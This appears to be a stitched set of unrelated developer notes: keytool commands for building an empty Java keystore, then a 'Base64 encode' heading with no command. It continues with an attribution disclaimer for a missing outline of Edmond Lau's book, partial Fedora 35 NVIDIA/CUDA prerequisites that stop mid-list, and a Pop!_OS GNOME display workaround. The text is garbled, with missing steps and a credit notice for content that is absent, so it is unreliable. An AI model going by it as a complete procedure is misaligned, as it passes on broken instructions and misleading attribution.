Creating a keystore with a keypair:
  keytool -genkeypair -alias boguscert -storepass storePassword -keypass secretPassword -keystore emptyStore.keystore -dname "CN=Developer, OU=Department, L=City, ST=State, C=CA"

Deleting a keypair to make an empty keystore:
  keytool -delete -alias boguscert -storepass storePassword -keystore emptyStore.keystore
  
Listing the keystore:
  keytool -list -keystore emptyStore.keystore -storepass storePassword
  
Base64 encode the keystore (this can be stored within Vault):

FWIW: I'm not the author of the content presented here (which is an outline from Edmond Lau's book). I've just copy-pasted it from somewhere over the Internet, but I cannot remember what exactly the original source is. I was also not able to find the author's name, so I cannot give him/her the proper credits.

Fedora 35 NVIDIA/CUDA Installation for TensorFlow

These are the steps I took for the installation of the NVIDIA drivers and CUDA toolkit for use with TensorFlow on Fedora 35. I have documented them since I had a lot of difficulty getting it to work and couldn't boot to a graphical desktop a few times. These steps worked for me, hopefully they do for others.

Assumptions

I am running on a 64 bit system and used KDE Plasma with X11 so these instructions may differ for people using GNOME, Wayland and any other combinations.

Pre-requisites

• If you have installed any NVIDIA drivers other than the akmod-nvidia drivers from the @rpmfusion-nonfree repo, remove them completely.
• Remove any other NVIDIA/CUDA installations. Find them with sudo dnf list installed | egrep '(nvidia|cuda)'
• If the nvidia-driver module is enabled, disable it - sudo dnf module disable nvidia-driver - this caused me issues when trying to install the akmod drivers

Pop!_OS / GNOME second display disabled after suspend and wake

I've found that my second display often becomes disabled or mirrored after waking my pc from suspend when using the GNOME desktop environment.

My workaround is to restart the GNOME shell using ALT+F2 and then typing r and hitting return.
